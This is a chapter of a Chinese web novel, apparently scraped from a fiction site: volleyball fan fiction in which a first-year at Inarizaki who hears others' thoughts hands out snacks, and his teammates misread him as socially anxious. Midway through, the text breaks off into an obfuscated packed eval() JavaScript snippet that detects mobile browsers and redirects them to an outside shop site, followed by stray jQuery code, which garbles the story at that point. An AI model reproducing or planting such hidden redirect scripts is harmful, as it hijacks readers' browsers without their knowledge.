文趣网 > 都市小说 > 打排球听到对手的心声后 > 11.零食大作战2
    稻荷崎,排球部

    黑须法宗校对着名单,将笔夹在板子上,一脸严肃地看着队员:“二三年级带队晨跑,一年级跟在后面,之后回到这里,进行自主练习。北,麻烦你了。”

    “是。”北信介微微颔首,站姿笔挺如松。

    “哦哦哦哦哦哦——”

    “啊啊啊啊啊啊——”

    两道白色闪电骤然窜出队伍,两人互不相让地撞出大门。宫治和宫侑死死瞪着彼此,眼睛里燃烧着相同的胜负欲。

    [我是第一!]

    两人嚷嚷着什么“第一”“蠢猪”之类的就跑远了。

    [不是吧——]

    [难道要跑到这种程度吗?强度会不会太大……]

    [好快啊,一溜烟就飞出去了……]

    二三年级早已见怪不怪,依旧按照自己的节奏来。

    至于月见遥,从监督说要跑步开始,他就露出了便秘般的表情,眉头拧成一团,嘴唇抿成一条线。

    果然,不到半圈他就被大部队甩开,成了实打实的垫底之人。

    黑须监督望着他行尸走肉般拖沓的跑姿,语气里充满了老父亲的担忧:“跑步一人,上课一人,吃饭也一人……再这样下去很难融入队伍。”

    大见教练沉默片刻,双手抱胸,眉头紧锁:“这孩子性子太孤僻了。去年的队员性格活络,加上宫双子吵吵闹闹,很快打成一片。今年新生只有两位正选候补,理石平介腼腆但愿意主动搭话,颇受大家喜爱。反观月见……几乎只同北和阿练寥寥说过几句。”

    大见自我宽慰道,手指无意识地摩挲着下巴:“合宿过后应该会好些。而且我已经跟北他们说过了,让他们一定要好好照顾一年级。哎呀呀,今天角名不是和他一起来的吗?没事的,他们肯定能打成一片的。”

    监督和教练都没想到选手会出现交际困难,也只能这样自我安慰了。

    “或许应该从家长那边获取一些他的信息。”黑须监督说,目光落在远处那个身影上,“知道一些队员国中时期的事情,也可以帮助他解开心结。”

    [喂喂喂,我还没跑远呢。]

    月见遥踏着小碎步,慢慢跑远。

    牙白牙白,居然让监督和教练担心起了自己的人际关系。

    更让他心头一紧的是那句“从家长那边获取信息”。

    [如果他们真的去找妈妈……妈妈会担心的。她好不容易才觉得我在学校有了朋友。]

    雅美昨晚往书包里塞零食时那副兴奋的样子,眼睛也亮晶晶的。

    月见遥的睫毛颤了颤,喉结滚动了一下。

    [不行,得让他们觉得我已经融入队伍了,不能让监督去打扰妈妈。]

    跑到一半时,队伍出现了分层。

    第一梯队几乎全是正选,身姿轻盈,脚步蹬踏地面节奏利落,像一阵风掠过跑道。

    尤其是宫双子,两人为了争谁先到终点已经甩开了后面一大截。

    两人的碎发被风吹得向后飞去,露出光洁的额头;

    率先绕回排球馆的宫治瘫在地上大口喘气,四肢大字形摊开,胸口剧烈起伏:“是我赢了!”

    “明明是我左脚先到的。”宫侑半死不活地坐在他旁边,眼神涣散,汗水顺着鼻尖往下滴。

    “少耍赖。”宫治屈腿,轻轻踢了一脚他的屁股。

    宫侑被踢得往前一栽,哼哼了两声。

    排球队的大家陆续聚拢。

    正选们放缓脚步扶着膝盖喘气,有人双手撑腰仰头望天,有人直接一屁股坐在地上。慢悠悠落在后头的人也一步一挪地跟了上来。

    角名伦太郎单手扶着腰,另一只手拨开被汗水黏在额头上的碎发,扫了一眼人群:“月见君又没跟上来。”

    [哎,他们两个什么时候这么熟了?]

    “啊?是啊。”银岛诧异地看了角名一眼,也迅速扫了一眼人群,眉头微皱,“好像跑步总是最后一个。奇怪,明明在球场上速度挺快的。”

    另一边,月见遥刘海早被浸透,一缕缕黏在额头上。汗珠顺着下颌线不断滚落,顺着脖颈钻进衣领,后背的衣衫湿了大片,勾勒出少年单薄的脊背线条。

    他脸颊涨得通红,嘴唇却泛着惨白,大口大口地喘着粗气。

    面前忽然吹来一股清爽的凉风

    [啊~好舒服——]

    月见遥的几缕刘海顺风飘扬,潮红的脸上难得出现了安详的笑意。

    他晃了两步停下,下意识弯腰撑住膝盖,喉咙里传来一丝丝铁锈味。

    [不行,跑不动了!走回去好了。]

    月见遥仅用0.1秒就做好了决定,干脆利落。

    等他回到排球馆时,大家已经开始自由训练了。

    理石平介正双臂伸直,手腕翻动,橘色的排球在他小臂上稳稳弹跳。

    他第一时间看见了摇晃着进门的月见遥。

    “你还好吗?月见君。”理石停下动作,排球从他臂间滑落,在地上弹了两下。

    月见遥抬起那张面无表情的脸上挂着几条黑线,气若游丝地吐出两个字:“还行。”

    [喂喂喂,这哪是还行,看起来快要死了啊喂!]

    理石平介正一脸担忧,眉头拧成川字,就见月见遥“啪嗒”一声腿软摔到了地面。

    他的右脸被死死压在地板上,挤出一堆软乎乎的肉。

    月见遥塌着腰,四肢摊开,终于得到了休息。

    [死了啊啊啊啊啊!救护车!医生!]

    刺耳尖锐的心声传进月见遥的耳朵里,差点震破他的耳膜。

    月见遥缓缓抬了抬手,手指无力地晃了两下,闷闷地回复:“我没死。”

    “哦……哦啊”理石眨了眨眼。

    [是太紧张了吗?被月见君看出心思了?]

    月见遥听着他的心声,默默停下了挥手的动作,然后慢慢爬起来,试图转移理石的注意:“我们一起垫球吧。”

    [今天居然主动说话了?]

    理石受宠若惊,眼睛一下子亮了起来:“啊,当然可以!”

    [什么嘛,因为内心吐槽太多,结果忘记开口说话了吗……也对,我又不是齐木楠雄可以用意念说话。]

    两人互相垫了一早上的球。

    理石很有耐心,球总是从月见遥这边飞出去的,但他一句抱怨都没有。

    垫久了之后,月见遥手感意外变好,每一个垫球都开始稳稳当当地回到理石手边,力道和角度都恰到好处。

    月见遥的眼神渐渐从涣散变得集中,手臂的动作从僵硬变得柔和。他甚至在没有察觉的情况下,嘴角微微翘了一下。

    “哔——”大见教练的哨声穿透了排球馆。

    终于!炼狱一般的早训结束了!

    月见遥长长地呼出一口气,肩膀彻底放松下来。

    而且他还和理石平介顺其自然地相约一起去教室——没错,理石居然也是一年级四组的,月见遥这才知道。

    “哦,对了,你要吃零食吗?”

    “零……食?”理石愣了愣神,就见月见遥突然转身,从墙角抱来了鼓鼓囊囊的书包,侧边的网兜鼓出一个布丁的轮廓。

    [好大!]

    月见遥艰难地拉开拉链,掏出了一个布丁和一堆果冻,塞进理石怀里:“拿去吃吧。”

    “谢谢。”理石低头看着怀里堆成小山的零食,眼睛瞪得溜圆。

    [是不是太多了……怎么突然带这么多零食?]

    月见遥没解释。

    他低着头,睫毛在眼下投下一小片阴影,脑子里突然想到一个念头

    [果然......还是把这些都发出去吧]

    月见遥抱上那个书包,站在更衣室门口深吸了一口气,然后敲响了门。

    门内传来一阵窸窸窣窣的声音。

    月见遥推开门,探进半个身子。

    他的目光在更衣室里扫了一圈,第一时间落在了正在整理衣领的北信介身上。

    北信介已经换上了校服,手指正轻轻调整着领结的位置。他察觉到门口的动静,抬起头,目光平静地望过来。

    “学长,这些给你。”月见遥从门外走进来,手往书包里捣鼓,掏出一大把零食,双手递到北信介面前。

    北信介低头看了一眼,又抬头看了一眼月见遥那张面无表情的脸,愣了一下。随即他微微颔首,嘴角弯起一个温和的弧度,双手接过零食:“谢谢。”

    “阿兰学长、阿练学长,这些是你们的。”月见遥随即挨个点名,又递出去两把。他的动作干脆利落,像在派发传单。

    “樱井学长、佐藤学长,这些是你们的。”

    “哦哦,谢谢。”樱井和佐藤一脸懵地接住。

    佐藤的队服还卡在脖子上,露出半个肩膀。

    “赤木学长——”

    “阿里嘎多。”赤木路成温柔一笑,眼睛弯成月牙形。他把零食抱在胸前,目光落在月见遥的书包上,眼神里写满了惊叹。

    [那个书包居然能装这么多东西吗?哆啦A梦?]

    “阿治学长、阿侑学长,给,这是你们的。”月见遥走到宫双子面前,从书包里掏出四个布丁,迟疑了一下,然后将一整盒巧克力放在了宫治手上。

    宫治、宫侑:???

    月见遥满意地点点头,继续去找下一个目标。他像一只勤奋的小蜜蜂,在更衣室里游荡,零食一样一样地消失。直到确认每个人手里都有了零食,他才停下来。

    [没有漏掉的。全员都有。哟西,任务完成。相信过不了多久,我和善友爱的名声就会传遍排球社。这样监督就不用担心我的人际关系,也不会去打扰妈妈了!]

    他都挨个分零食了,监督总不会还觉得他太孤僻了吧。

    月见遥转过身,在众人的目送下,头也不回地离开。

    门在他身后轻轻合上,“咔哒”一声。

    留下一群人衣服也不换了,队服还卡在脖子上,手里捧着花花绿绿的零食,面面相觑。

    “咦咦咦咦咦咦咦——”等他离开,众人像是被按下了播放键,齐刷刷倒抽一口气,眼睛瞪得像铜铃。

    “难道是家里开了零食店吗?!”尾白阿兰瞪大了眼睛,手里一条果冻从指间滑落,“啪嗒”掉在地上。

    “被夺舍了吧,绝对被夺舍了。”宫侑一脸笃定,双手抱胸,下巴微微抬起,“不仅主动打招呼,还分享了零食。难道是双重人格?这个是热情友好的第二人格?”

    “这孩子是不是被三年级的混混勒索了?我听说有人欺负低年级……其实是头目让他带的零食?那他都给了我们,真的没关系吗?”赤木路成摩挲着下巴,眉头紧锁,一脸严肃地分析道,甚至想把这反常的事告诉监督。

    “究竟是谁对这么可爱的学弟做了坏事!”佐藤已经幻想出弱小的月见遥被霸凌、只能忍气吞声的可怜画面了。

    “可爱?”樱井歪了歪头,表情写满了困惑。

    “你看他那张无懈可击的扑克脸,难道不可爱吗?”

    “……我不知道您咋了。”樱井面无表情地转回头。

    自从和月见遥搭档过一次后,这家伙就好像变成了月见遥的粉丝。

    角名伦太郎已经穿好了衣服,听见大家的猜想,想起了早上月见遥的所作所为,他停下脚步。

    “他可能只是……想跟大家成为朋友吧。”角名平静地开口。

    “也许……不太会表达。”

    更衣室里安静了一瞬。

    “噢!”众人恍然大悟地吐出一口气。

    宫侑第一个打破沉默,他挠了挠头:“等一下……你的意思是,他带这么多零食来,挨个发,一句话不说就走……是想跟我们交朋友?”

    角名看了他一眼,没说话,但那表情分明在说“不然呢”。

    “可是……”银岛张了张嘴,“可是想交朋友的话,直接说不就好了吗?干嘛搞这么大阵仗?”

    赤木路成托着下巴,若有所思地点了点头:“确实。如果他只是想融入队伍,完全可以从打个招呼开始,没必要一下子送这么多东西。”

    “而且他发零食的时候全程面无表情,”尾白阿兰回忆道。

    角名:“所以才说……不太会表达吧。”

    佐藤最先反应过来:“你的意思是,他不是不想交朋友,而是……不会?”

    “社交恐惧症?”赤木路成试探性地提出了这个词。

    “对对对,就是那种——心里很想跟人说话,但嘴巴就是张不开;明明很想融入大家,但不知道怎么开口的那类人”

    “难怪他平时总是一个人。”尾白阿兰喃喃道,眉头慢慢舒展开来,“不是他不想跟大家一起,而是他做不到。他也很痛苦吧?”

    宫治总感觉哪里怪怪的,但又说不上来,“所以他今天发零食,是鼓起了很大的勇气吗?”

    总感觉事情不是他们想的那样。

    可此时此刻,气氛已经到这里了,众人低头看着手里的零食,突然感觉零食变得沉甸甸的,像是承载着什么看不见的东西。

    “越努力越心酸啊。”小作裕渡十分感动地说到,“一个字都不说,谁会懂呢。但他能做的,也只有这个了吧!”

    宫治:那他挺不容易的。

    “所以他要跟我们交朋友,但是不好意思说出口,只能用这种方式来暗示?”银岛结总结道,把所有人的想法串在了一起,“那我们该怎么办?假装不知道?”

    “那也太尴尬了吧!”尾白阿兰连忙摆手,“人家好不容易鼓起勇气,当然要给他正向反馈”

    赤木路成点了点头,语气温和而坚定:“不能让他觉得自己的努力白费了。他既然在尝试,我们就应该给他回应”

    “就是说……”佐藤清了清嗓子,“我们要让他感受到,排球社是一个可以安心说话的地方。不用害怕,大家都是自己人。”

    “对。”赤木微笑着点头。

    “那不如——”银岛结眼睛一亮,“我们就主动去找他说话?不用等他自己开口,我们主动走过去,让他感受一下排球社的温暖。”

    “好主

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572309|204313||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意。”尾白阿兰点点头。

    “别忘了理石。”赤木补充道,目光温和,“他也是新生”

    宫治:那你们为什么不干脆给新生办个欢迎仪式。

    北信介全程没再说话,只是静静地听着。他靠在更衣柜上,双臂抱胸,目光低垂。等大家的讨论告一段落,他才直起身,拎起书包往门口走去。

    *

    月见遥还不知道自己随手发的零食引起了学长们的过度猜测。

    放学后,又是社团活动。

    [糟糕,结果居然差点睡了一天吗?今天的课也太好睡了。]

    月见遥趴在桌上,脸埋在臂弯里。

    [要不要叫月见君一起呢?叫?不叫?]

    月见遥的耳朵捕捉到理石平介的心声,他感觉到了背后那道灼热的视线。

    “平介君,要一起去排球社吗?”月见遥的声音带着刚睡醒的一点点沙哑。

    “啊,好啊。”理石平介愣了一下,然后连忙点头。

    [谢天谢地,最后居然主动叫我了……]

    两人并肩走出教室。

    为了不让理石平介尴尬,月见遥还特意找了话题,看起来完全不像是有社交恐惧症的样子。

    等两人来到排球社,大家都差不多到了。

    球鞋摩擦地板的声音、排球落地的闷响、学长们此起彼伏的喊声——一切都很正常。

    但下一秒,月见遥察觉到了不对。

    他一进门,就有不少目光落在了自己身上。不是那种好奇,而是带着某种刻意的集体性的注视。

    月见遥的脚步顿了一下。

    ???

    这是什么?监视吗?

    [啊啊啊,难道说,月见遥观察团的人数变多了?怎么会这样!被传染了吗?]

    银岛结打破了诡异的氛围,率先上前开口,“遥君,我可以叫你阿遥吗?”

    “哦,当然可以。”月见遥眨了眨眼,很平静地接受了银岛结想要关系更进一步的申请。

    “阿遥,有什么不懂的,可以问我,也可以问学长。”银岛指了指自己,又指了指不远处的尾白阿兰和赤木路成,“总之尽情地问吧,别害羞。”

    “没错,阿遥,有什么事情完全可以问我。”赤木路成不知什么时候也凑了过来,温柔地握住了月见遥的双手,手上还带着厚厚的茧。

    然后赤木转过头,对理石平介也说了同样的话:“平介也是,有什么事不要害羞,完全可以麻烦我们。学长当得好,后辈有依靠,请多多依靠学长。”

    他的每个字都掷地有声。

    “是!”理石平介大声答应,挺直了腰板。

    ???何意味

    “对呀,我和阿结都可以教你扣球,角名也可以教你拦网,总之完全可以麻烦我们。”尾白阿兰也走近,双手叉腰,咧嘴笑了笑,露出两排整齐的白牙。

    “我没问题。”角名伦太郎应了一声。

    “对呀对呀,你们一年级可以麻烦学长的。”不少学长纷纷表示,有人点头,有人挥手,有人比了个大拇指。

    月见遥的目光扫过这些人。

    他们的表情各异但眼神里都藏着同一种东西:关切。

    [他都社交困难了还这么卖力,实在看不下去,要帮一把了。]

    “想扣球就找我,”佐藤目光灼灼,郑重其事地承诺,“阿侑学长很忙,但我随叫随到。”

    “也可以找我。”

    “也可以找我。”

    甚至还有一年级的涌上来,七嘴八舌地说:“阿遥,遇到麻烦也可以找我们。”

    月见遥看着面前这些同期,嘴角微微抽了一下。

    [我们不是同期生吗?怎么说得好像你们是学长一样……]

    “排球社是个大家庭,大家都很和睦,完全不用拘谨。”不知道谁说了这么一句,声音从人群后面传来。

    喂喂喂,你们到底在说什么?怎么突然这样了。

    月见遥的大脑飞速运转,但脑子都快烧坏了,也完全跟不上眼前的状况。

    面对突然献殷勤的学长们,他无所适从地后退了半步。

    结果左右肩突然同时搭上来一只手。

    月见遥左右为难地转过头,发现是不可一世的宫双子,两张几乎一模一样的脸分别占据了他的左右视野。

    宫治其实不太想做这种蠢事的,但是月见遥给的布丁太好吃了,说两句话也不会死,“也可以找我。”

    宫侑:“你要扣球的话……你先找佐藤,练好之后再来找我。”

    喂喂喂,合着你一点苦头都不想吃吗?

    月见遥被夹在两人中间,动弹不得。

    [大家今天都怎么了?]

    月见遥在内心发出无声的呐喊。

    他隐隐约约觉得排球社的大家好像误会了什么。他张了张嘴,最后却欲言又止。

    算了算了,干脆装傻好了。

    完全不知道他们已经脑补到了什么程度,要解释起来也太复杂了。

    他的肩膀微微缩了一下,从宫双子的手下悄悄滑了出来,往旁边挪了半步。

    就在这时,黑须监督和大见教练从门口走了进来。两人看见被众人簇拥着的月见遥,同时愣住了。

    大见教练良久才挤出一句话:“他原来这么受欢迎吗?看来我们之前的担忧都是误会。”

    他的声音里带着一阵恍惚。

    黑须监督:......

    北站在人群的后面,他的目光落在人群中央那个被团团围住的少年身上。

    月见遥正被众人七嘴八舌地关心着,那张总是没什么表情的脸上,此刻浮现出一种微妙的神情,他的耳朵尖也泛着淡淡的粉红。

    北信介看着这一幕,忽然轻轻笑了一声,像是想起了什么愉快的事情。

    身旁的大耳练正在整理护膝,闻声抬起头来,带着一丝好奇。

    “有什么好笑的笑话要分享吗?”大耳练问道。

    北信介收回目光,“不,只是觉得大家都误会了。”

    北信介淡淡地开口。

    大耳练停下了手中的动作,侧过身来,认真地听。

    “阿遥他其实不是什么社恐,他的内心世界很丰富呢”他继续说,语气里带着一种笃定,“而且很多有趣的表情还会表现在脸上。”

    他顿了顿,目光变得有些悠远,像是在回忆什么。

    “仔细观察他的话,就会觉得很有意思。”

    大耳练愣了一下,顺着北信介的目光看向人群中的月见遥。

    大耳练看了一会儿,嘴角慢慢翘了起来。

    北信介说的不错,他因为要教月见遥拦网所以跟他接触的时间比较久,月见遥可不是社恐,他心里说不定住着一个吐槽怪。

    “不过这是个美丽的误会,”大耳练说到,“还是不要告诉大家好了。”

    阳光从体育馆高高的窗户斜照进来,落在他和北信介之间的地板上,把两个人的影子拉得长长的。

    “我也是这么想的。”北信介点点头。